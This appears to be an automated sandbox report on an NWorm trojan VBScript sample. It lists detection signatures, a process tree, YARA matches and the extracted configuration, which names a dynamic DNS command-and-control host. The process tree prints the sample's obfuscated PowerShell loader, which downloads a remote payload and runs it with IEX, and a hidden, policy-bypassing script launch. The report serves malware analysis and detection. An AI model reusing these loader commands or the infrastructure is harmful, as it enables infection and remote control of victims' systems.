Edit tour

Windows Analysis Report
YBAXAKQXVYWIXQJDE.VBS

Overview

General Information

Sample Name:	YBAXAKQXVYWIXQJDE.VBS
Analysis ID:	585402
MD5:	40f92eb4b46a3430167477d11dec4c9e
SHA1:	515ad5cac3f5b9ed1e7a7e14d53a191a12193984
SHA256:	8c4477fd5129d549aabcbbcab1950965f7f0e0c934a60043dc7d27e57252868f
Tags:	N-W0rmvbs
Infos:

Detection

NWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

VBScript performs obfuscated calls to suspicious functions

Yara detected NWorm

Writes to foreign memory regions

Bypasses PowerShell execution policy

Very long command line found

Creates processes via WMI

Suspicious powershell command line found

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Obfuscated command line found

Creates an undocumented autostart registry key

C2 URLs / IPs found in malware configuration

Uses dynamic DNS services

Sigma detected: Powerup Write Hijack DLL

Queries the volume information (name, serial number etc) of a device

Yara signature match

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Sigma detected: Suspicious aspnet_compiler.exe Execution

Internet Provider seen in connection with other malware

Detected potential crypto function

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Java / VBScript file with very long strings (likely obfuscated code)

Detected TCP or UDP traffic on non-standard ports

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Sigma detected: Change PowerShell Policies to an Unsecure Level

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7032 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\Desktop\YBAXAKQXVYWIXQJDE.VBS" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

powershell.exe (PID: 7112 cmdline: POWERSHELL $Hx = 'https://transfer.sh/get/8J0O0I/Server435.txt';$HB=('{2}{0}{1}' -f')/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_l)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_o)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_a)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_d)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_'.Replace(')/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_',''),'67&/!^)!+}&8<^+)3{2*)974\{+@-$$-)53(86+99+558]9*[@7]911\1#1&}8*9#-)[#3#\4{0/52[2&4&#7*%)46(}55$15]-s67&/!^)!+}&8<^+)3{2*)974\{+@-$$-)53(86+99+558]9*[@7]911\1#1&}8*9#-)[#3#\4{0/52[2&4&#7*%)46(}55$15]-t67&/!^)!+}&8<^+)3{2*)974\{+@-$$-)53(86+99+558]9*[@7]911\1#1&}8*9#-)[#3#\4{0/52[2&4&#7*%)46(}55$15]-r67&/!^)!+}&8<^+)3{2*)974\{+@-$$-)53(86+99+558]9*[@7]911\1#1&}8*9#-)[#3#\4{0/52[2&4&#7*%)46(}55$15]-i67&/!^)!+}&8<^+)3{2*)974\{+@-$$-)53(86+99+558]9*[@7]911\1#1&}8*9#-)[#3#\4{0/52[2&4&#7*%)46(}55$15]-n67&/!^)!+}&8<^+)3{2*)974\{+@-$$-)53(86+99+558]9*[@7]911\1#1&}8*9#-)[#3#\4{0/52[2&4&#7*%)46(}55$15]-g67&/!^)!+}&8<^+)3{2*)974\{+@-$$-)53(86+99+558]9*[@7]911\1#1&}8*9#-)[#3#\4{0/52[2&4&#7*%)46(}55$15]-'.Replace('67&/!^)!+}&8<^+)3{2*)974\{+@-$$-)53(86+99+558]9*[@7]911\1#1&}8*9#-)[#3#\4{0/52[2&4&#7*%)46(}55$15]-',''),'%8$5-<0-^+3-/*<1+=62}91=8^*-/!9}99@}4<-#]{<\1#)965=0<}\68+\8#*}6$9^_66]=/-6104=}]0({(/[$@7(#3^<!<}%D%8$5-<0-^+3-/*<1+=62}91=8^*-/!9}99@}4<-#]{<\1#)965=0<}\68+\8#*}6$9^_66]=/-6104=}]0({(/[$@7(#3^<!<}%o%8$5-<0-^+3-/*<1+=62}91=8^*-/!9}99@}4<-#]{<\1#)965=0<}\68+\8#*}6$9^_66]=/-6104=}]0({(/[$@7(#3^<!<}%w%8$5-<0-^+3-/*<1+=62}91=8^*-/!9}99@}4<-#]{<\1#)965=0<}\68+\8#*}6$9^_66]=/-6104=}]0({(/[$@7(#3^<!<}%n%8$5-<0-^+3-/*<1+=62}91=8^*-/!9}99@}4<-#]{<\1#)965=0<}\68+\8#*}6$9^_66]=/-6104=}]0({(/[$@7(#3^<!<}%'.Replace('%8$5-<0-^+3-/*<1+=62}91=8^*-/!9}99@}4<-#]{<\1#)965=0<}\68+\8#*}6$9^_66]=/-6104=}]0({(/[$@7(#3^<!<}%',''));$HBB=('{2}{0}{1}' -f')/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_e)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_b)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_C)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_l)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_'.Replace(')/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_',''),')/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_i)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_e)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_n)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_t)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_'.Replace(')/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_',''),')/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_Ne)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_t)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_.W)/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_'.Replace(')/8+&!9]]}039(3^<67)075^655$1$57]#*1{2#^&71!9@#1@8&4#\)${=^#7[[%_36]22=\{=446}8}-52{]1}<-482&10_!*_',''));$XSZAJXGNTVXKGOTPRJHWCIHRASQAUGABFPPDDYLDBUZUPFYQNSEEYDEHTDNZZCSFRCCYNJSVWVRFJIARKQAHKFABUCJNYFCWGTE=('{2}{0}{1}' -f'-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<w-O-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<b-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<j-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<e-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<c-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<t $-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<H-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<'.Replace('-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<',''),'-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<BB-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<).$H-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<B(-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<$H-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<x)-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<'.Replace('-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<',''),'-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<I-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<`E-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<`X(-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<Ne-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<'.Replace('-]/3181@7_\]4/3@4/1*^$20<*%_$-}2^)</\7(**(){%0%%15]@/8<![)4$-@\%}[@%<5%\@%<]{8[_41)0[%39__4935{7+5<',''));$HBBBBB = ($XSZAJXGNTVXKGOTPRJHWCIHRASQAUGABFPPDDYLDBUZUPFYQNSEEYDEHTDNZZCSFRCCYNJSVWVRFJIARKQAHKFABUCJNYFCWGTE -Join '')|I`E`X MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 7164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 6592 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoE -Nop -NonI -WIndoWSTYLe HiDdeN -ExecutionPolicy Bypass -file C:\ProgramData\PRESFGEQTFRWEEHBFXQXJU\PRESFGEQTFRWEEHBFXQXJU.ps1 MD5: 95000560239032BC68B4C2FDFCDEF913)

aspnet_compiler.exe (PID: 6880 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe MD5: 17CC69238395DF61AAF483BCEF02E7C9)

cleanup

Malware Configuration

Threatname: NWorm

{"Host": "nyanwmoney.duckdns.org", "Port": "8891", "Mutex": "594274bc", "Version": "v0.3.8", "Network Seprator": "|NW|"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\ICPDRCYNSQCDVKBIWIFZCD\ICPDRCYNSQCDVKBIWIFZCD.bat	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x26:$sb3: -WIndoWSTYLe HiDdeN 0x1a:$sc1: -Nop 0x1f:$sd1: -NonI 0x3a:$se3: -ExecutionPolicy Bypass

Memory Dumps

Source	Rule	Description	Author	Strings
0000000B.00000000.526861512.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_NWorm	Yara detected NWorm	Joe Security
0000000B.00000000.526861512.0000000000402000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x2dec:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x2e50:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x2e48:$s2: ecnOnuR\noisreVtnerruC\swodniW\tfosorciM
00000002.00000002.945992351.000001EE646CA000.00000004.00000800.00020000.00000000.sdmp	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x2375:$sb3: -WIndoWSTYLe HiDdeN 0x2369:$sc1: -Nop 0x236e:$sd1: -NonI 0x2389:$se3: -ExecutionPolicy Bypass
00000002.00000002.953420708.000001EE7C619000.00000004.00000020.00020000.00000000.sdmp	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0xd012:$sb3: -WIndoWSTYLe HiDdeN 0xd006:$sc1: -Nop 0xd00b:$sd1: -NonI 0xd026:$se3: -ExecutionPolicy Bypass
00000002.00000002.947928671.000001EE64A74000.00000004.00000800.00020000.00000000.sdmp	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0xe:$sb3: -WIndoWSTYLe HiDdeN 0x18fe:$sb3: -WIndoWSTYLe HiDdeN 0x2:$sc1: -Nop 0x18f2:$sc1: -Nop 0x7:$sd1: -NonI 0x18f7:$sd1: -NonI 0x22:$se3: -ExecutionPolicy Bypass 0x1912:$se3: -ExecutionPolicy Bypass
00000002.00000002.951681461.000001EE654E3000.00000004.00000800.00020000.00000000.sdmp	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x1805:$sb3: -WIndoWSTYLe HiDdeN 0x17f9:$sc1: -Nop 0x17fe:$sd1: -NonI 0x1819:$se3: -ExecutionPolicy Bypass
0000000B.00000000.527798017.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_NWorm	Yara detected NWorm	Joe Security
0000000B.00000000.527798017.0000000000402000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x2dec:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x2e50:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x2e48:$s2: ecnOnuR\noisreVtnerruC\swodniW\tfosorciM
00000002.00000002.951692197.000001EE654E7000.00000004.00000800.00020000.00000000.sdmp	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x4c21:$sb3: -WIndoWSTYLe HiDdeN 0x15900:$sb3: -WIndoWSTYLe HiDdeN 0x4c15:$sc1: -Nop 0x158f4:$sc1: -Nop 0x4c1a:$sd1: -NonI 0x158f9:$sd1: -NonI 0x4c35:$se3: -ExecutionPolicy Bypass 0x15914:$se3: -ExecutionPolicy Bypass
0000000A.00000002.943052838.000001A63E9D0000.00000004.00000020.00020000.00000000.sdmp	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x35ab:$sb3: -WIndoWSTYLe HiDdeN 0x35a0:$sc1: -Nop 0x35a5:$sd1: -NonI 0x35bf:$se3: -ExecutionPolicy Bypass
0000000B.00000000.527148888.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_NWorm	Yara detected NWorm	Joe Security
0000000B.00000000.527148888.0000000000402000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x2dec:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x2e50:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x2e48:$s2: ecnOnuR\noisreVtnerruC\swodniW\tfosorciM
0000000B.00000002.942336968.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_NWorm	Yara detected NWorm	Joe Security
0000000B.00000002.942336968.0000000000402000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x2dec:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x2e50:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x2e48:$s2: ecnOnuR\noisreVtnerruC\swodniW\tfosorciM
00000002.00000002.952998329.000001EE745BD000.00000004.00000800.00020000.00000000.sdmp	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x1174a:$sb3: -WIndoWSTYLe HiDdeN 0x1173e:$sc1: -Nop 0x11743:$sd1: -NonI 0x1175e:$se3: -ExecutionPolicy Bypass
0000000B.00000000.527508335.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_NWorm	Yara detected NWorm	Joe Security
0000000B.00000000.527508335.0000000000402000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x2dec:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x2e50:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x2e48:$s2: ecnOnuR\noisreVtnerruC\swodniW\tfosorciM
0000000A.00000002.944900247.000001A640AD2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_NWorm	Yara detected NWorm	Joe Security
00000002.00000002.952538142.000001EE74334000.00000004.00000800.00020000.00000000.sdmp	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x12a4b1:$sb3: -WIndoWSTYLe HiDdeN 0x14af2a:$sb3: -WIndoWSTYLe HiDdeN 0x12a4a5:$sc1: -Nop 0x14af1e:$sc1: -Nop 0x12a4aa:$sd1: -NonI 0x14af23:$sd1: -NonI 0x12a4c5:$se3: -ExecutionPolicy Bypass 0x14af3e:$se3: -ExecutionPolicy Bypass
Process Memory Space: powershell.exe PID: 6592	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0xc26e7:$sa2: -encodedCommand 0xc2713:$sa2: -encodedCommand 0xc2e01:$sa2: -EncodedCommand 0xc3911:$sa2: -EncodedCommand 0xc39ac:$sa2: -encodedCommand 0x17b89:$sb3: -WIndoWSTYLe HiDdeN 0x17c47:$sb3: -WIndoWSTYLe HiDdeN 0x18243:$sb3: -WIndoWSTYLe HiDdeN 0x18516:$sb3: -WIndoWSTYLe HiDdeN 0x186f6:$sb3: -WIndoWSTYLe HiDdeN 0x18a09:$sb3: -WIndoWSTYLe HiDdeN 0xaf8b5:$sb3: -WIndoWSTYLe HiDdeN 0xaff7c:$sb3: -WIndoWSTYLe HiDdeN 0xb003a:$sb3: -WIndoWSTYLe HiDdeN 0xb039c:$sb3: -WIndoWSTYLe HiDdeN 0xb05c8:$sb3: -WIndoWSTYLe HiDdeN 0xb0767:$sb3: -WIndoWSTYLe HiDdeN 0xb0a8b:$sb3: -WIndoWSTYLe HiDdeN 0xb86cf:$sb3: -WIndoWSTYLe HiDdeN 0xb89d6:$sb3: -WIndoWSTYLe HiDdeN 0xbd5c2:$sb3: -WIndoWSTYLe HiDdeN
Process Memory Space: aspnet_compiler.exe PID: 6880	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x1f70:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x1fa2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x16921:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x16953:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x1f9e:$s2: ecnOnuR\noisreVtnerruC\swodniW\tfosorciM 0x1694f:$s2: ecnOnuR\noisreVtnerruC\swodniW\tfosorciM
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
11.0.aspnet_compiler.exe.400000.0.unpack	JoeSecurity_NWorm	Yara detected NWorm	Joe Security
11.0.aspnet_compiler.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x2fec:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x3050:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x3048:$s2: ecnOnuR\noisreVtnerruC\swodniW\tfosorciM
11.0.aspnet_compiler.exe.400000.0.unpack	MALWARE_Win_NWorm	Detects NWorm/N-W0rm payload	ditekSHen	0x1f6d:$id1: N-W0rm 0x2558:$id1: N-W0rm 0x3247:$x1: pongPing 0x3259:$x2: \|NW\| 0x2e70:$s1: runFile 0x2e80:$s2: runUrl 0x2ed0:$s3: killer 0x2ef0:$s4: powershell 0x30ac:$s5: wscript.exe 0x2f08:$s6: ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File " 0x30c5:$s7: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36 0x31e7:$s8: Start-Sleep -Seconds 1.5; Remove-Item -Path '
11.0.aspnet_compiler.exe.400000.4.unpack	JoeSecurity_NWorm	Yara detected NWorm	Joe Security
11.0.aspnet_compiler.exe.400000.4.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x2fec:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x3050:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x3048:$s2: ecnOnuR\noisreVtnerruC\swodniW\tfosorciM
11.0.aspnet_compiler.exe.400000.4.unpack	MALWARE_Win_NWorm	Detects NWorm/N-W0rm payload	ditekSHen	0x1f6d:$id1: N-W0rm 0x2558:$id1: N-W0rm 0x3247:$x1: pongPing 0x3259:$x2: \|NW\| 0x2e70:$s1: runFile 0x2e80:$s2: runUrl 0x2ed0:$s3: killer 0x2ef0:$s4: powershell 0x30ac:$s5: wscript.exe 0x2f08:$s6: ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File " 0x30c5:$s7: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36 0x31e7:$s8: Start-Sleep -Seconds 1.5; Remove-Item -Path '
11.0.aspnet_compiler.exe.400000.3.unpack	JoeSecurity_NWorm	Yara detected NWorm	Joe Security
11.0.aspnet_compiler.exe.400000.3.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x2fec:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x3050:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x3048:$s2: ecnOnuR\noisreVtnerruC\swodniW\tfosorciM
11.0.aspnet_compiler.exe.400000.3.unpack	MALWARE_Win_NWorm	Detects NWorm/N-W0rm payload	ditekSHen	0x1f6d:$id1: N-W0rm 0x2558:$id1: N-W0rm 0x3247:$x1: pongPing 0x3259:$x2: \|NW\| 0x2e70:$s1: runFile 0x2e80:$s2: runUrl 0x2ed0:$s3: killer 0x2ef0:$s4: powershell 0x30ac:$s5: wscript.exe 0x2f08:$s6: ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File " 0x30c5:$s7: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36 0x31e7:$s8: Start-Sleep -Seconds 1.5; Remove-Item -Path '
11.2.aspnet_compiler.exe.400000.0.unpack	JoeSecurity_NWorm	Yara detected NWorm	Joe Security
11.2.aspnet_compiler.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x2fec:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x3050:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x3048:$s2: ecnOnuR\noisreVtnerruC\swodniW\tfosorciM
11.2.aspnet_compiler.exe.400000.0.unpack	MALWARE_Win_NWorm	Detects NWorm/N-W0rm payload	ditekSHen	0x1f6d:$id1: N-W0rm 0x2558:$id1: N-W0rm 0x3247:$x1: pongPing 0x3259:$x2: \|NW\| 0x2e70:$s1: runFile 0x2e80:$s2: runUrl 0x2ed0:$s3: killer 0x2ef0:$s4: powershell 0x30ac:$s5: wscript.exe 0x2f08:$s6: ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File " 0x30c5:$s7: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36 0x31e7:$s8: Start-Sleep -Seconds 1.5; Remove-Item -Path '
10.2.powershell.exe.1a640e0e328.2.unpack	JoeSecurity_NWorm	Yara detected NWorm	Joe Security
10.2.powershell.exe.1a640e0e328.2.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x11ec:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x1250:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x1248:$s2: ecnOnuR\noisreVtnerruC\swodniW\tfosorciM
10.2.powershell.exe.1a640e0e328.2.unpack	MALWARE_Win_NWorm	Detects NWorm/N-W0rm payload	ditekSHen	0x758:$id1: N-W0rm 0x1447:$x1: pongPing 0x1459:$x2: \|NW\| 0x1070:$s1: runFile 0x1080:$s2: runUrl 0x10d0:$s3: killer 0x10f0:$s4: powershell 0x12ac:$s5: wscript.exe 0x1108:$s6: ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File " 0x12c5:$s7: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36 0x13e7:$s8: Start-Sleep -Seconds 1.5; Remove-Item -Path '
11.0.aspnet_compiler.exe.400000.1.unpack	JoeSecurity_NWorm	Yara detected NWorm	Joe Security
11.0.aspnet_compiler.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x2fec:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x3050:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x3048:$s2: ecnOnuR\noisreVtnerruC\swodniW\tfosorciM
